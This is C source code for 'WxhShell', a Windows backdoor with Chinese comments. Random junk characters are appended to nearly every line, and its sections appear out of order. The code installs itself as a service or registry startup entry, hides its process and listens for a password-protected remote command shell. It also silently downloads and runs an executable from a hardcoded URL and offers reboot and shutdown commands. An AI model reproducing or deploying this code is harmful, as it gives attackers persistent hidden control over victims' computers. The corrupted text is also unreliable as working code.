DWORD AffinityMask; ]M'~uTf
DWORD BasePriority; 'P[#.9E
ULONG UniqueProcessId; j"VDqDDz
ULONG InheritedFromUniqueProcessId; "{Y6.)x
} PROCESS_BASIC_INFORMATION; 8N3y(y0
rI6+St
PROCNTQSIP NtQueryInformationProcess; O}}rosA
qL[SwEc
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mq'm
TM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,*?[Rg0]+
(=EDqAZg
HANDLE hProcess; >vO+k^'Y
PROCESS_BASIC_INFORMATION pbi; 1xh7KBr,
t%<y^Wa=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
<$WS~tTz
if(NULL == hInst ) return 0; dep"$pys>
j0(jXAc;UB
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J(wFJg\/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m
-hZ5i
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8%xBSob{j
1-&L-c.
if (!NtQueryInformationProcess) return 0; fc[_~I'
}6=)w@v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A5%$<
if(!hProcess) return 0; ,H^!G\
brlbJFZ19
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ED>a'y$f
y*v|q=
CloseHandle(hProcess); 7T t!hf
]]3rSXs2}J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j]vEo~Bbh
if(hProcess==NULL) return 0; Nd{U|k3pL
a;M{-G
HMODULE hMod; _+(@?
char procName[255]; 0r8Wv,7Bo
unsigned long cbNeeded; @2*Q*
=)gdxywoC
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WIpV'F|t]`
%qTIT?6'
CloseHandle(hProcess); 6<R[hIWpZ}
5NH4C
if(strstr(procName,"services")) return 1; // 以服务启动 4- Jwy
K>b4(^lf
return 0; // 注册表启动 G#^0Bh&
} kRBO]
=;b3i1'U
// 主模块 xgpf2y!{
int StartWxhshell(LPSTR lpCmdLine) 3JkdP h
{ a/1;|1a.
SOCKET wsl; 5Dz$_2oM3
BOOL val=TRUE; sf->8
int port=0; Bx#=$ka
struct sockaddr_in door; \<09.q<8
`Pc<0*`a
if(wscfg.ws_autoins) Install(); GNq
f
bovAFdHW
port=atoi(lpCmdLine); L[,19;(
u]9\_{c]Q
if(port<=0) port=wscfg.ws_port; r@bh,U$
T#*H
WSADATA data; 22U`1AD3U
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S6a\KtVa
5,g +OY=\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v\@RwtP
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PLMC<4$s
door.sin_family = AF_INET; Ki7t?4YE
door.sin_addr.s_addr = inet_addr("127.0.0.1"); mtn^+*
door.sin_port = htons(port); U V*Ruy-
7]ysvSM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6)P.wW
closesocket(wsl); CH
29kQ
return 1; NY.* S6
} rjO{B`sV*
o[fg:/5)A
if(listen(wsl,2) == INVALID_SOCKET) { ( N};.DB1Y
closesocket(wsl); &>E gKL
return 1; kc't
} Y:t?W
Wxhshell(wsl); WvSm!W
WSACleanup(); V[K N,o{6
pt,L
return 0; a !%,2|U
}(|gC,
} Fb=uN
|?8nO.C~V
// 以NT服务方式启动 DL1nD5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &b}g.)RI
{ !2l2;?jM
DWORD status = 0; T,1qR:58
DWORD specificError = 0xfffffff; $sE=[j'v
H"6x/&s.=k
serviceStatus.dwServiceType = SERVICE_WIN32; ]a4+] vLK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; yNP4Ey
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V-n{=8s
serviceStatus.dwWin32ExitCode = 0; zqXF`MAB=
serviceStatus.dwServiceSpecificExitCode = 0; m m`#v
g,
serviceStatus.dwCheckPoint = 0; \AKP ea=
serviceStatus.dwWaitHint = 0; j-W$)c3X
`Hlf.>b1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dnU-v7k,{
if (hServiceStatusHandle==0) return; J:Qx5;b;
/Xb4'Qj
status = GetLastError(); Zr2!}jD9a
if (status!=NO_ERROR) ( I#6!Yt9J
{ Ez5t)l-
serviceStatus.dwCurrentState = SERVICE_STOPPED; D5snaGss9a
serviceStatus.dwCheckPoint = 0; '5De1K.\`
serviceStatus.dwWaitHint = 0; 9&AO
serviceStatus.dwWin32ExitCode = status; Oh p@ZJ!a?
serviceStatus.dwServiceSpecificExitCode = specificError; ,}gJY^X+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1BU97!
return; 5)lcgvp
} 1p$(\
5P"R'/[PA_
serviceStatus.dwCurrentState = SERVICE_RUNNING; kaB|+U9^
serviceStatus.dwCheckPoint = 0; o
/[7Vo
serviceStatus.dwWaitHint = 0; iBSg`"S^]C
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vb\g49\o/
} 2a
eH^:u
/}8Au$nA
// 处理NT服务事件,比如:启动、停止 $S|+U}]C
VOID WINAPI NTServiceHandler(DWORD fdwControl) &um++
\
{ UNa"\
switch(fdwControl) [Tp?u8$p`
{ Zja3HGL
case SERVICE_CONTROL_STOP: AG=PbY9
serviceStatus.dwWin32ExitCode = 0; }3X/"2SW^
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8TT#b?d
serviceStatus.dwCheckPoint = 0; Cd
2<r6i
serviceStatus.dwWaitHint = 0; ;Jg$C~3tf
{ `@],J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v#%rjml[
}
<KU0K
return; hQm=9gS
case SERVICE_CONTROL_PAUSE: 0't)-Pj+,
serviceStatus.dwCurrentState = SERVICE_PAUSED; =CK% Zo
break; zdrP56rzZ
case SERVICE_CONTROL_CONTINUE: D5@=#/?*
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^]R_t@
break; VPYLDg.'
case SERVICE_CONTROL_INTERROGATE: *m+FMyr
break; A_wf_.l4h
}; Yz_}*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); x-CjxU3
} B #%QY\<X
)__sw
// 标准应用程序主函数 l!88|~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u0&R*YV
{ jc9C|r
Xpg-rxX
// 获取操作系统版本 .eD&UQ
OsIsNt=GetOsVer(); )LFbz#;Y
GetModuleFileName(NULL,ExeFile,MAX_PATH); I!*P' {lh
B]G2P`sN
// 从命令行安装 "gM!/<~
if(strpbrk(lpCmdLine,"iI")) Install(); Za|iU`e\
C78g|n{
// 下载执行文件 |nx3x
if(wscfg.ws_downexe) { xz!0BG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w)+1^eW
WinExec(wscfg.ws_filenam,SW_HIDE); xB Wl|j
} Cy$~H
[#uhMn^
if(!OsIsNt) { )H
W
// 如果时win9x,隐藏进程并且设置为注册表启动 m1;Htw
HideProc(); 8fP2qj0
StartWxhshell(lpCmdLine); -^m?%_<50l
} xn2 nh@;
else vkTu:3Qe
if(StartFromService()) 4uOR=+/l
// 以服务方式启动 2{b/*w
StartServiceCtrlDispatcher(DispatchTable); K-TsSW$}
else D r(0w{5
// 普通方式启动 u'l4=e
StartWxhshell(lpCmdLine); ojnO69v
&@oI/i&0B
return 0; lOVcXAe}
} YFm%W@
oqF?9<Vgc,
(x2?{\?
q x)\{By
=========================================== PzSLE>Q
{TNORbZz
_`?cBu`
(yP1}?
d9v66mpJM
kiM:(=5
" LP#wE~K"b
Eu(QeST\
#include <stdio.h> U|Fqna
#include <string.h> v3Vve:}+
#include <windows.h> 3xs<w7
#include <winsock2.h> Lf5zHUH
#include <winsvc.h> i;^lh]u
#include <urlmon.h> Gb`)d
S2'a i
#pragma comment (lib, "Ws2_32.lib") (_e[CqFu
#pragma comment (lib, "urlmon.lib") vlkwWm
$8eiifj
#define MAX_USER 100 // 最大客户端连接数 =|E
"
#define BUF_SOCK 200 // sock buffer &wK:R,~x6
#define KEY_BUFF 255 // 输入 buffer {UP[iw$~
gW~T{+f
#define REBOOT 0 // 重启 cgrSd99.
#define SHUTDOWN 1 // 关机 hE(R[hc
g}<jn'@{
#define DEF_PORT 5000 // 监听端口 C`;igg$t_
2(DhKHrF
#define REG_LEN 16 // 注册表键长度 BN79\rt
#define SVC_LEN 80 // NT服务名长度 )^o.H~Pv
?m *e$!M0
// 从dll定义API NuR7pjNMZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :38{YCN
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `qs,V
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^>l <)$s
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -8qCCV&1i
1}\p:`
// wxhshell配置信息 <Tgy$Hm
struct WSCFG { ulsU~WW7r
int ws_port; // 监听端口 8<Iq)A]'Z
char ws_passstr[REG_LEN]; // 口令 % vUU
Fub
int ws_autoins; // 安装标记, 1=yes 0=no `r1}:`.m,
char ws_regname[REG_LEN]; // 注册表键名 3!p`5hJd
char ws_svcname[REG_LEN]; // 服务名 s;TB(M~i[
char ws_svcdisp[SVC_LEN]; // 服务显示名 (%L/|F_
char ws_svcdesc[SVC_LEN]; // 服务描述信息 >M2~p&Si
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !}h)
|
int ws_downexe; // 下载执行标记, 1=yes 0=no >S:(BJMo
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \bd KLcKI,
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fVn4=d6X
O +o)z6(
}; FM6{%}4
)&O2l
// default Wxhshell configuration aDRcVA$*
struct WSCFG wscfg={DEF_PORT, x[{\Aw>$.
"xuhuanlingzhe", V _~lME
1, Jd7chIK
"Wxhshell", M99ku'
"Wxhshell", 6m?<"y8]
"WxhShell Service", ly`
A,dh
"Wrsky Windows CmdShell Service", {V>F69IU
"Please Input Your Password: ", _"
9 q(1
1, Ps@']]4>W
"http://www.wrsky.com/wxhshell.exe", c0Ih$z
"Wxhshell.exe" $}su'EIo
}; 0L/chP
LnE/62){N
// 消息定义模块 ,7@\e&/&
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X,w X)9]J
char *msg_ws_prompt="\n\r? for help\n\r#>"; }BC%(ZH6
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -O$vJ,*
char *msg_ws_ext="\n\rExit."; H};1>G4
char *msg_ws_end="\n\rQuit."; f9K7^qwkiz
char *msg_ws_boot="\n\rReboot..."; VrRF2(Kn?
char *msg_ws_poff="\n\rShutdown..."; zF`a:dD$d
char *msg_ws_down="\n\rSave to "; P{A})t7
w|&lRo@1
char *msg_ws_err="\n\rErr!"; O;RBK&P
char *msg_ws_ok="\n\rOK!"; *S*49Hq7c
zk{d*gN
char ExeFile[MAX_PATH]; "e"#k}z9
int nUser = 0; bss2<mqlH
HANDLE handles[MAX_USER]; 2|bt"y-5r
int OsIsNt; kfnh1|D=aY
Qq:}Z7
H
SERVICE_STATUS serviceStatus; $(D>v!dp
SERVICE_STATUS_HANDLE hServiceStatusHandle; 0~U%csPHt
=?C <